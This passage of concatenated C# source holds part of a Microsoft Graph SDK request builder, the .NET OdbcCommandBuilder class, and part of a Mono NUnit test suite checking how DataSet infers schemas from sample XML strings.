calculate the select value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Select(Expression<Func<WorkbookTable, object>> selectExpression) { if (selectExpression == null) { throw new ArgumentNullException(nameof(selectExpression)); } string error; string value = ExpressionExtractHelper.ExtractMembers(selectExpression, out error); if (value == null) { throw new ArgumentException(error, nameof(selectExpression)); } else { this.QueryOptions.Add(new QueryOption("$select", value)); } return this; } /// <summary> /// Adds the specified top value to the request. /// </summary> /// <param name="value">The top value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Top(int value) { this.QueryOptions.Add(new QueryOption("$top", value.ToString())); return this; } /// <summary> /// Adds the specified filter value to the request. /// </summary> /// <param name="value">The filter value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Filter(string value) { this.QueryOptions.Add(new QueryOption("$filter", value)); return this; } /// <summary> /// Adds the specified skip value to the request. /// </summary> /// <param name="value">The skip value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Skip(int value) { this.QueryOptions.Add(new QueryOption("$skip", value.ToString())); return this; } /// <summary> /// Adds the specified orderby value to the request. /// </summary> /// <param name="value">The orderby value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest OrderBy(string value) { this.QueryOptions.Add(new QueryOption("$orderby", value)); return this; } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Data.Common; using System.Diagnostics; namespace System.Data.Odbc { public sealed class OdbcCommandBuilder : DbCommandBuilder { public OdbcCommandBuilder() : base() { GC.SuppressFinalize(this); } public OdbcCommandBuilder(OdbcDataAdapter adapter) : this() { DataAdapter = adapter; } public new OdbcDataAdapter DataAdapter { get { return (base.DataAdapter as OdbcDataAdapter); } set { base.DataAdapter = value; } } private void OdbcRowUpdatingHandler(object sender, OdbcRowUpdatingEventArgs ruevent) { RowUpdatingHandler(ruevent); } public new OdbcCommand GetInsertCommand() { return (OdbcCommand)base.GetInsertCommand(); } public new OdbcCommand GetInsertCommand(bool useColumnsForParameterNames) { return (OdbcCommand)base.GetInsertCommand(useColumnsForParameterNames); } public new OdbcCommand GetUpdateCommand() { return (OdbcCommand)base.GetUpdateCommand(); } public new OdbcCommand GetUpdateCommand(bool useColumnsForParameterNames) { return (OdbcCommand)base.GetUpdateCommand(useColumnsForParameterNames); } public new OdbcCommand GetDeleteCommand() { return (OdbcCommand)base.GetDeleteCommand(); } public new OdbcCommand GetDeleteCommand(bool useColumnsForParameterNames) { return (OdbcCommand)base.GetDeleteCommand(useColumnsForParameterNames); } protected override string GetParameterName(int parameterOrdinal) { return "p" + parameterOrdinal.ToString(System.Globalization.CultureInfo.InvariantCulture); } protected override string GetParameterName(string parameterName) { return parameterName; } protected override string GetParameterPlaceholder(int parameterOrdinal) { return "?"; } protected override void ApplyParameterInfo(DbParameter parameter, DataRow datarow, StatementType statementType, bool whereClause) { OdbcParameter p = (OdbcParameter)parameter; object valueType = datarow[SchemaTableColumn.ProviderType]; p.OdbcType = (OdbcType)valueType; object bvalue = datarow[SchemaTableColumn.NumericPrecision]; if (DBNull.Value != bvalue) { byte bval = (byte)(short)bvalue; p.PrecisionInternal = ((0xff != bval) ? bval : (byte)0); } bvalue = datarow[SchemaTableColumn.NumericScale]; if (DBNull.Value != bvalue) { byte bval = (byte)(short)bvalue; p.ScaleInternal = ((0xff != bval) ? bval : (byte)0); } } public static void DeriveParameters(OdbcCommand command) { // MDAC 65927 if (null == command) { throw ADP.ArgumentNull(nameof(command)); } switch (command.CommandType) { case System.Data.CommandType.Text: throw ADP.DeriveParametersNotSupported(command); case System.Data.CommandType.StoredProcedure: break; case System.Data.CommandType.TableDirect: // CommandType.TableDirect - do nothing, parameters are not supported throw ADP.DeriveParametersNotSupported(command); default: throw ADP.InvalidCommandType(command.CommandType); } if (string.IsNullOrEmpty(command.CommandText)) { throw ADP.CommandTextRequired(ADP.DeriveParameters); } OdbcConnection connection = command.Connection; if (null == connection) { throw ADP.ConnectionRequired(ADP.DeriveParameters); } ConnectionState state = connection.State; if (ConnectionState.Open != state) { throw ADP.OpenConnectionRequired(ADP.DeriveParameters, state); } OdbcParameter[] list = DeriveParametersFromStoredProcedure(connection, command); OdbcParameterCollection parameters = command.Parameters; parameters.Clear(); int count = list.Length; if (0 < count) { for (int i = 0; i < list.Length; ++i) { parameters.Add(list[i]); } } } // DeriveParametersFromStoredProcedure ( // OdbcConnection connection, // OdbcCommand command); // // Uses SQLProcedureColumns to create an array of OdbcParameters // private static OdbcParameter[] DeriveParametersFromStoredProcedure(OdbcConnection connection, OdbcCommand command) { List<OdbcParameter> rParams = new List<OdbcParameter>(); // following call ensures that the command has a statement handle allocated CMDWrapper cmdWrapper = command.GetStatementHandle(); OdbcStatementHandle hstmt = cmdWrapper.StatementHandle; int cColsAffected; // maps an enforced 4-part qualified string as follows // parts[0] = null - ignored but removal would be a run-time breaking change from V1.0 // parts[1] = CatalogName (optional, may be null) // parts[2] = SchemaName (optional, may be null) // parts[3] = ProcedureName // string quote = connection.QuoteChar(ADP.DeriveParameters); string[] parts = MultipartIdentifier.ParseMultipartIdentifier(command.CommandText, quote, quote, '.', 4, true, SR.ODBC_ODBCCommandText, false); if (null == parts[3]) { // match Everett behavior, if the commandtext is nothing but whitespace set the command text to the whitespace parts[3] = command.CommandText; } // note: native odbc appears to ignore all but the procedure name ODBC32.RetCode retcode = hstmt.ProcedureColumns(parts[1], parts[2], parts[3], null); // Note: the driver does not return an error if the given stored procedure does not exist // therefore we cannot handle that case and just return not parameters. if (ODBC32.RetCode.SUCCESS != retcode) { connection.HandleError(hstmt, retcode); } using (OdbcDataReader reader = new OdbcDataReader(command, cmdWrapper, CommandBehavior.Default)) { reader.FirstResult(); cColsAffected = reader.FieldCount; // go through the returned rows and filter out relevant parameter data // while (reader.Read()) { // devnote: column types are specified in the ODBC Programmer's Reference // COLUMN_TYPE Smallint 16bit // COLUMN_SIZE Integer 32bit // DECIMAL_DIGITS Smallint 16bit // NUM_PREC_RADIX Smallint 16bit OdbcParameter parameter = new OdbcParameter(); parameter.ParameterName = reader.GetString(ODBC32.COLUMN_NAME - 1); switch ((ODBC32.SQL_PARAM)reader.GetInt16(ODBC32.COLUMN_TYPE - 1)) { case ODBC32.SQL_PARAM.INPUT: parameter.Direction = ParameterDirection.Input; break; case ODBC32.SQL_PARAM.OUTPUT: parameter.Direction = ParameterDirection.Output; break; case ODBC32.SQL_PARAM.INPUT_OUTPUT: parameter.Direction = ParameterDirection.InputOutput; break; case ODBC32.SQL_PARAM.RETURN_VALUE: parameter.Direction = ParameterDirection.ReturnValue; break; default: Debug.Fail("Unexpected Parametertype while DeriveParamters"); break; } parameter.OdbcType = TypeMap.FromSqlType((ODBC32.SQL_TYPE)reader.GetInt16(ODBC32.DATA_TYPE - 1))._odbcType; parameter.Size = (int)reader.GetInt32(ODBC32.COLUMN_SIZE - 1); switch (parameter.OdbcType) { case OdbcType.Decimal: case OdbcType.Numeric: parameter.ScaleInternal = (byte)reader.GetInt16(ODBC32.DECIMAL_DIGITS - 1); parameter.PrecisionInternal = (byte)reader.GetInt16(ODBC32.NUM_PREC_RADIX - 1); break; } rParams.Add(parameter); } } retcode = hstmt.CloseCursor(); return rParams.ToArray(); } public override string QuoteIdentifier(string unquotedIdentifier) { return QuoteIdentifier(unquotedIdentifier, null /* use DataAdapter.SelectCommand.Connection if available */); } public string QuoteIdentifier(string unquotedIdentifier, OdbcConnection connection) { ADP.CheckArgumentNull(unquotedIdentifier, nameof(unquotedIdentifier)); // if the user has specificed a prefix use the user specified prefix and suffix // otherwise get them from the provider string quotePrefix = QuotePrefix; string quoteSuffix = QuoteSuffix; if (string.IsNullOrEmpty(quotePrefix)) { if (connection == null) { // Use the adapter's connection if QuoteIdentifier was called from // DbCommandBuilder instance (which does not have an overload that gets connection object) connection = DataAdapter?.SelectCommand?.Connection; if (connection == null) { throw ADP.QuotePrefixNotSet(ADP.QuoteIdentifier); } } quotePrefix = connection.QuoteChar(ADP.QuoteIdentifier); quoteSuffix = quotePrefix; } // by the ODBC spec "If the data source does not support quoted identifiers, a blank is returned." // So if a blank is returned the string is returned unchanged. Otherwise the returned string is used // to quote the string if (!string.IsNullOrEmpty(quotePrefix) && quotePrefix != " ") { return ADP.BuildQuotedString(quotePrefix, quoteSuffix, unquotedIdentifier); } else { return unquotedIdentifier; } } protected override void SetRowUpdatingHandler(DbDataAdapter adapter) { Debug.Assert(adapter is OdbcDataAdapter, "!OdbcDataAdapter"); if (adapter == base.DataAdapter) { // removal case ((OdbcDataAdapter)adapter).RowUpdating -= OdbcRowUpdatingHandler; } else { // adding case ((OdbcDataAdapter)adapter).RowUpdating += OdbcRowUpdatingHandler; } } public override string UnquoteIdentifier(string quotedIdentifier) { return UnquoteIdentifier(quotedIdentifier, null /* use DataAdapter.SelectCommand.Connection if available */); } public string UnquoteIdentifier(string quotedIdentifier, OdbcConnection connection) { ADP.CheckArgumentNull(quotedIdentifier, nameof(quotedIdentifier)); // if the user has specificed a prefix use the user specified prefix and suffix // otherwise get them from the provider string quotePrefix = QuotePrefix; string quoteSuffix = QuoteSuffix; if (string.IsNullOrEmpty(quotePrefix)) { if (connection == null) { // Use the adapter's connection if UnquoteIdentifier was called from // DbCommandBuilder instance (which does not have an overload that gets connection object) connection = DataAdapter?.SelectCommand?.Connection; if (connection == null) { throw ADP.QuotePrefixNotSet(ADP.UnquoteIdentifier); } } quotePrefix = connection.QuoteChar(ADP.UnquoteIdentifier); quoteSuffix = quotePrefix; } string unquotedIdentifier; // by the ODBC spec "If the data source does not support quoted identifiers, a blank is returned." // So if a blank is returned the string is returned unchanged. Otherwise the returned string is used // to unquote the string if (!string.IsNullOrEmpty(quotePrefix) || quotePrefix != " ") { // ignoring the return value because it is acceptable for the quotedString to not be quoted in this // context. ADP.RemoveStringQuotes(quotePrefix, quoteSuffix, quotedIdentifier, out unquotedIdentifier); } else { unquotedIdentifier = quotedIdentifier; } return unquotedIdentifier; } } }
// // DataSetInferXmlSchemaTest.cs // // Author: // Atsushi Enomoto <atsushi@ximian.com> // // // Copyright (C) 2004 Novell, Inc (http://www.novell.com) // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // using System; using System.Collections; using System.Data; using System.IO; using System.Xml; using NUnit.Framework; namespace MonoTests.System.Data { [TestFixture] public class DataSetInferXmlSchemaTest : DataSetAssertion { string xml1 = "<root/>"; string xml2 = "<root attr='value' />"; string xml3 = "<root attr='value' attr2='2' />"; string xml4 = "<root>simple.txt</root>"; string xml5 = "<root><child/></root>"; string xml6 = "<root><col1>sample</col1></root>"; string xml7 = @"<root> <col1>column 1 test</col1> <col2>column2test</col2> <col3>3get</col3> </root>"; string xml8 = @"<set> <tab> <col1>1</col1> <col2>1</col2> <col3>1</col3> </tab> </set>"; string xml9 = @"<el1 attr1='val1' attrA='valA'> <el2 attr2='val2' attrB='valB'> <el3 attr3='val3' attrC='valC'>3</el3> <column2>1</column2> <column3>1</column3> <el4 attr4='val4' attrD='valD'>4</el4> </el2> </el1>"; // mixed content string xml10 = "<root>Here is a <b>mixed</b> content.</root>"; // xml:space support string xml11 = @"<root xml:space='preserve'> <child_after_significant_space /> </root>"; // This is useless ... since xml:space becomes a DataColumn here. // string xml12 = "<root xml:space='preserve'> </root>"; // The result is silly under MS.NET. It never ignores comment, so // They differ: // 1) <root>simple string.</root> // 2) <root>simple <!-- comment -->string.</root> // The same applies to PI. // string xml13 = "<root><tab><col>test <!-- out --> comment</col></tab></root>"; // simple namespace/prefix support string xml14 = "<p:root xmlns:p='urn:foo'>test string</p:root>"; // two tables that have the same content type. string xml15 = @"<root> <table1> <col1_1>test1</col1_1> <col1_2>test2</col1_2> </table1> <table2> <col2_1>test1</col2_1> <col2_2>test2</col2_2> </table2> </root>"; // foo cannot be both table chikd and root child string xml16 = @"<root> <table> <foo> <tableFooChild1>1</tableFooChild1> <tableFooChild2>2</tableFooChild2> </foo> <bar /> </table> <foo></foo> <bar /> </root>"; // simple namespace support string xml17 = @"<root xmlns='urn:foo' />"; // conflict between simple and complex type element col string xml18 = @"<set> <table> <col> <another_col /> </col> <col>simple text here.</col> </table> </set>"; // variant of xml18: complex column appeared latter string xml19 =@"<set> <table> <col>simple text</col><!-- ignored --> <col> <another_col /> </col> </table> </set>"; // conflict check (actually it is not conflict) on two "col" tables string xml20 = @"<set> <table> <col> <another_col /> </col> <col attr='value' /> </table> </set>"; // conflict between the attribute and the child element string xml21 = @"<set> <table> <col data='value'> <data /> </col> </table> </set>"; // simple nest string xml22 = "<set><table><col><descendant/></col></table><table2><col2>v2</col2></table2></set>"; // simple diffgram string xml23 = @"<set> <xs:schema xmlns:xs='http://www.w3.org/2001/XMLSchema'> <xs:element name='table'> <xs:complexType> <xs:choice> <xs:any /> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <diffgr:diffgram xmlns:msdata='urn:schemas-microsoft-com:xml-msdata' xmlns:diffgr='urn:schemas-microsoft-com:xml-diffgram-v1'> <table> <col>1</col> </table> </diffgr:diffgram> </set>"; // just deep table string xml24 = "<p1><p2><p3><p4><p5><p6/></p5></p4></p3></p2></p1>"; private DataSet GetDataSet (string xml, string [] nss) { DataSet ds = new DataSet (); ds.InferXmlSchema (new XmlTextReader (xml, XmlNodeType.Document, null), nss); return ds; } [Test] public void NullFileName () { DataSet ds = new DataSet (); ds.InferXmlSchema ((XmlReader) null, null); AssertDataSet ("null", ds, "NewDataSet", 0, 0); } [Test] public void SingleElement () { DataSet ds = GetDataSet (xml1, null); AssertDataSet ("xml1", ds, "root", 0, 0); ds = GetDataSet (xml4, null); AssertDataSet ("xml4", ds, "root", 0, 0); // namespaces ds = GetDataSet (xml14, null); AssertDataSet ("xml14", ds, "root", 0, 0); AssertEquals ("p", ds.Prefix); AssertEquals ("urn:foo", ds.Namespace); ds = GetDataSet (xml17, null); AssertDataSet ("xml17", ds, "root", 0, 0); AssertEquals ("urn:foo", ds.Namespace); } [Test] public void SingleElementWithAttribute () { DataSet ds = GetDataSet (xml2, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 1, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "attr", true, false, 0, 1, "attr", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); } [Test] public void SingleElementWithTwoAttribute () { DataSet ds = GetDataSet (xml3, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 2, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "attr", true, false, 0, 1, "attr", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("col", dt.Columns [1], "attr2", true, false, 0, 1, "attr2", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); } [Test] public void SingleChild () { DataSet ds = GetDataSet (xml5, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 1, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "child", true, false, 0, 1, "child", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); ds = GetDataSet (xml6, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 1, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "col1", true, false, 0, 1, "col1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); } [Test] public void SimpleElementTable () { DataSet ds = GetDataSet (xml7, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 3, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "col1", true, false, 0, 1, "col1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("col2", dt.Columns [1], "col2", true, false, 0, 1, "col2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("col3", dt.Columns [2], "col3", true, false, 0, 1, "col3", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); } [Test] public void SimpleDataSet () { DataSet ds = GetDataSet (xml8, null); AssertDataSet ("ds", ds, "set", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "tab", 3, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "col1", true, false, 0, 1, "col1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("col2", dt.Columns [1], "col2", true, false, 0, 1, "col2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("col3", dt.Columns [2], "col3", true, false, 0, 1, "col3", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); } [Test] public void ComplexElementAttributeTable1 () { // FIXME: Also test ReadXml (, XmlReadMode.InferSchema) and // make sure that ReadXml() stores DataRow to el1 (and maybe to others) DataSet ds = GetDataSet (xml9, null); AssertDataSet ("ds", ds, "NewDataSet", 4, 3); DataTable dt = ds.Tables [0]; AssertDataTable ("dt1", dt, "el1", 3, 0, 0, 1, 1, 1); AssertDataColumn ("el1_Id", dt.Columns [0], "el1_Id", false, true, 0, 1, "el1_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); AssertDataColumn ("el1_attr1", dt.Columns [1], "attr1", true, false, 0, 1, "attr1", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("el1_attrA", dt.Columns [2], "attrA", true, false, 0, 1, "attrA", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); dt = ds.Tables [1]; AssertDataTable ("dt2", dt, "el2", 6, 0, 1, 2, 2, 1); AssertDataColumn ("el2_Id", dt.Columns [0], "el2_Id", false, true, 0, 1, "el2_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); AssertDataColumn ("el2_col2", dt.Columns [1], "column2", true, false, 0, 1, "column2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("el2_col3", dt.Columns [2], "column3", true, false, 0, 1, "column3", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); AssertDataColumn ("el2_attr2", dt.Columns [3], "attr2", true, false, 0, 1, "attr2", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 3, String.Empty, false, false); AssertDataColumn ("el2_attrB", dt.Columns [4], "attrB", true, false, 0, 1, "attrB", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 4, String.Empty, false, false); AssertDataColumn ("el2_el1Id", dt.Columns [5], "el1_Id", true, false, 0, 1, "el1_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 5, String.Empty, false, false); dt = ds.Tables [2]; AssertDataTable ("dt3", dt, "el3", 4, 0, 1, 0, 1, 0); AssertDataColumn ("el3_attr3", dt.Columns [0], "attr3", true, false, 0, 1, "attr3", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("el3_attrC", dt.Columns [1], "attrC", true, false, 0, 1, "attrC", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("el3_Text", dt.Columns [2], "el3_Text", true, false, 0, 1, "el3_Text", MappingType.SimpleContent, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); AssertDataColumn ("el3_el2Id", dt.Columns [3], "el2_Id", true, false, 0, 1, "el2_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 3, String.Empty, false, false); dt = ds.Tables [3]; AssertDataTable ("dt4", dt, "el4", 4, 0, 1, 0, 1, 0); AssertDataColumn ("el3_attr4", dt.Columns [0], "attr4", true, false, 0, 1, "attr4", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("el4_attrD", dt.Columns [1], "attrD", true, false, 0, 1, "attrD", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("el4_Text", dt.Columns [2], "el4_Text", true, false, 0, 1, "el4_Text", MappingType.SimpleContent, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); AssertDataColumn ("el4_el2Id", dt.Columns [3], "el2_Id", true, false, 0, 1, "el2_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 3, String.Empty, false, false); } [Test] public void MixedContent () { // Note that text part is ignored. DataSet ds = GetDataSet (xml10, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 1, 0, 0, 0, 0, 0); AssertDataColumn ("col", dt.Columns [0], "b", true, false, 0, 1, "b", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); } [Test] public void SignificantWhitespaceIgnored () { // Note that 1) significant whitespace is ignored, and // 2) xml:space is treated as column (and also note namespaces). DataSet ds = GetDataSet (xml11, null); AssertDataSet ("ds", ds, "NewDataSet", 1, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 2, 0, 0, 0, 0, 0); AssertDataColumn ("element", dt.Columns [0], "child_after_significant_space", true, false, 0, 1, "child_after_significant_space", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("xml:space", dt.Columns [1], "space", true, false, 0, 1, "space", MappingType.Attribute, typeof (string), DBNull.Value, String.Empty, -1, "http://www.w3.org/XML/1998/namespace", 1, "xml", false, false); } [Test] public void SignificantWhitespaceIgnored2 () { // To make sure, create pure significant whitespace element // using XmlNodeReader (that does not have xml:space attribute // column). DataSet ds = new DataSet (); XmlDocument doc = new XmlDocument (); doc.AppendChild (doc.CreateElement ("root")); doc.DocumentElement.AppendChild (doc.CreateSignificantWhitespace (" \n\n")); XmlReader xr = new XmlNodeReader (doc); ds.InferXmlSchema (xr, null); AssertDataSet ("pure_whitespace", ds, "root", 0, 0); } [Test] public void TwoElementTable () { // FIXME: Also test ReadXml (, XmlReadMode.InferSchema) and // make sure that ReadXml() stores DataRow to el1 (and maybe to others) DataSet ds = GetDataSet (xml15, null); AssertDataSet ("ds", ds, "root", 2, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "table1", 2, 0, 0, 0, 0, 0); AssertDataColumn ("col1_1", dt.Columns [0], "col1_1", true, false, 0, 1, "col1_1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("col1_2", dt.Columns [1], "col1_2", true, false, 0, 1, "col1_2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); dt = ds.Tables [1]; AssertDataTable ("dt", dt, "table2", 2, 0, 0, 0, 0, 0); AssertDataColumn ("col2_1", dt.Columns [0], "col2_1", true, false, 0, 1, "col2_1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("col2_2", dt.Columns [1], "col2_2", true, false, 0, 1, "col2_2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); } [Test] [ExpectedException (typeof (ArgumentException))] // The same table cannot be the child table in two nested relations. public void ComplexElementTable1 () { // TODO: Also test ReadXml (, XmlReadMode.InferSchema) and // make sure that ReadXml() stores DataRow to el1 (and maybe to others) DataSet ds = GetDataSet (xml16, null); /* AssertDataSet ("ds", ds, "NewDataSet", 4, 0); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "root", 2, 0); AssertDataColumn ("table#1_id", dt.Columns [0], "root_Id", false, true, 0, 1, "root_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); AssertDataColumn ("table#1_bar", dt.Columns [1], "bar", true, false, 0, 1, "bar", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); dt = ds.Tables [1]; AssertDataTable ("dt2", dt, "table", 3, 0); AssertDataColumn ("table#2_id", dt.Columns [0], "table_Id", false, true, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); AssertDataColumn ("table#2_bar", dt.Columns [1], "bar", true, false, 0, 1, "bar", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("table#2_refid", dt.Columns [0], "root_Id", true, false, 0, 1, "root_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); dt = ds.Tables [2]; AssertDataTable ("dt3", dt, "foo", 3, 0); AssertDataColumn ("table#3_col1", dt.Columns [0], "tableFooChild1", true, false, 0, 1, "tableFooChild1", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("table#3_col2", dt.Columns [0], "tableFooChild2", true, false, 0, 1, "tableFooChild2", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); AssertDataColumn ("table#3_refid", dt.Columns [0], "table_Id", true, false, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 2, String.Empty, false, false); */ } [Test] public void ConflictSimpleComplexColumns () { DataSet ds = GetDataSet (xml18, null); AssertDataSet ("ds", ds, "set", 2, 1); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "table", 1, 0, 0, 1, 1, 1); AssertDataColumn ("table_Id", dt.Columns [0], "table_Id", false, true, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); dt = ds.Tables [1]; AssertDataTable ("dt", dt, "col", 2, 0, 1, 0, 1, 0); AssertDataColumn ("another_col", dt.Columns [0], "another_col", true, false, 0, 1, "another_col", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, false); AssertDataColumn ("table_refId", dt.Columns [1], "table_Id", true, false, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 1, String.Empty, false, false); DataRelation dr = ds.Relations [0]; AssertDataRelation ("rel", dr, "table_col", true, new string [] {"table_Id"}, new string [] {"table_Id"}, true, true); AssertUniqueConstraint ("uniq", dr.ParentKeyConstraint, "Constraint1", true, new string [] {"table_Id"}); AssertForeignKeyConstraint ("fkey", dr.ChildKeyConstraint, "table_col", AcceptRejectRule.None, Rule.Cascade, Rule.Cascade, new string [] {"table_Id"}, new string [] {"table_Id"}); } [Test] public void ConflictColumnTable () { DataSet ds = GetDataSet (xml19, null); AssertDataSet ("ds", ds, "set", 2, 1); DataTable dt = ds.Tables [0]; AssertDataTable ("dt", dt, "table", 1, 0, 0, 1, 1, 1); AssertDataColumn ("table_Id", dt.Columns [0], "table_Id", false, true, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, 0, String.Empty, false, true); dt = ds.Tables [1]; AssertDataTable ("dt", dt, "col", 2, 0, 1, 0, 1, 0); AssertDataColumn ("table_refId", dt.Columns ["table_Id"], "table_Id", true, false, 0, 1, "table_Id", MappingType.Hidden, typeof (int), DBNull.Value, String.Empty, -1, String.Empty, /*0*/-1, String.Empty, false, false); AssertDataColumn ("another_col", dt.Columns ["another_col"], "another_col", true, false, 0, 1, "another_col", MappingType.Element, typeof (string), DBNull.Value, String.Empty, -1, String.Empty, /*1*/-1, String.Empty, false, false); DataRelation dr = ds.Relations [0]; AssertDataRelation ("rel", dr, "table_col", true, new string [] {"table_Id"}, new string [] {"table_Id"}, true, true); 